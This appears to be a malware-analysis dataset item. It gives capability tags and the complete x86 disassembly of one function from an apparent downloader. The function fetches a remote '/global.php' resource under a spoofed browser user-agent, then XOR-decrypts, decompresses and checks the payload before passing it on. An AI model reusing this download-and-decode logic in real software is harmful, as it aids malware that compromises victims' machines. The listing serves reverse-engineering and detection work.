Function at 0x100068a4
Capabilities:
Create http request
Read data from internet
Receive data
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x170
push esi
push edi
push 0x8000
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 0x18], eax
and dword [ebp - 0x14], 0
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows__U__MSIE_9.0__Windows_NT_9.0__en_US_
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
je 0x10006a0a
mov dword [ebp - 0x50], 0x4000200
push 0x100
push 0
lea eax, [ebp - 0x170]
push eax
call fcn.1001db00
add esp, 0xc
mov eax, dword [str.http:__]
mov dword [ebp - 0x170], eax
mov eax, dword [0x1003622c]
mov dword [ebp - 0x16c], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x1c]
mov al, byte [eax]
mov byte [ebp - 0xe], al
inc dword [ebp - 0x1c]
cmp byte [ebp - 0xe], 0
jne 0x10006922
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x170]
dec eax
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov al, byte [eax + 1]
mov byte [ebp - 0xd], al
inc dword [ebp - 0x28]
cmp byte [ebp - 0xd], 0
jne 0x1000694c
mov edi, dword [ebp - 0x28]
mov esi, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x44]
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x170]
dec eax
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov al, byte [eax + 1]
mov byte [ebp - 0xf], al
inc dword [ebp - 0x24]
cmp byte [ebp - 0xf], 0
jne 0x1000697f
mov edi, dword [ebp - 0x24]
mov esi, str._global.php
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push 0
push dword [ebp - 0x50]
push 0xffffffffffffffff
push dword [ebp + 0xc]
lea eax, [ebp - 0x170]
push eax
push dword [ebp - 0x30]
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
je 0x10006a01
xor eax, eax
inc eax
je 0x100069f8
lea eax, [ebp - 0x38]
push eax
push 0x1000
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x14]
push eax
push dword [ebp - 0x2c]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x100069e5
and dword [ebp - 0x14], 0
cmp dword [ebp - 0x38], 0
jne 0x100069ed
jmp 0x100069f8
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x38]
mov dword [ebp - 0x14], eax
jmp 0x100069bf
push dword [ebp - 0x2c]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push dword [ebp - 0x30]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [ebp - 0x14]
sub eax, 0x20
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x14]
sub eax, 0x20
mov dword [ebp - 0x48], eax
mov esi, dword [ebp - 0x18]
add esi, dword [ebp - 0x40]
push 8
pop ecx
lea edi, [ebp - 0x70]
rep movsd dword es:[edi], dword [esi]
and dword [ebp - 8], 0
and dword [ebp - 0xc], 0
jmp 0x10006a3b
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x20
jae 0x10006a51
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x70]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
jmp 0x10006a34
cmp dword [ebp - 0xc], 0
je 0x10006abb
and dword [ebp - 8], 0
and dword [ebp - 0xc], 0
jmp 0x10006a68
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x40]
jae 0x10006abb
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 8]
mov al, byte [eax]
mov byte [ebp - 1], al
mov eax, dword [ebp - 8]
and eax, 0xff
movzx ecx, byte [ebp - 1]
xor ecx, eax
mov byte [ebp - 1], cl
mov eax, dword [ebp - 0xc]
movzx eax, byte [ebp + eax - 0x70]
movzx ecx, byte [ebp - 1]
xor ecx, eax
mov byte [ebp - 1], cl
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 8]
mov cl, byte [ebp - 1]
mov byte [eax], cl
cmp dword [ebp - 0xc], 0x10
jne 0x10006ab9
and dword [ebp - 0xc], 0
jmp 0x10006a61
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
add eax, 0x100
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x48]
sub eax, 4
push eax
mov eax, dword [ebp - 0x18]
add eax, 4
push eax
lea edx, [ebp - 0x34]
mov ecx, dword [ebp - 0x20]
call fcn.10018554
pop ecx
pop ecx
xor eax, eax
inc eax
imul eax, eax, 0x3c
mov ecx, dword [ebp - 0x20]
movzx eax, byte [ecx + eax]
cmp eax, 0xd8
jne 0x10006b28
xor eax, eax
inc eax
imul eax, eax, 0x1d1
mov ecx, dword [ebp - 0x20]
movzx eax, byte [ecx + eax]
cmp eax, 0x74
jne 0x10006b28
push dword [ebp - 0x34]
push dword [ebp - 0x20]
call fcn.1000665c
pop ecx
pop ecx
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret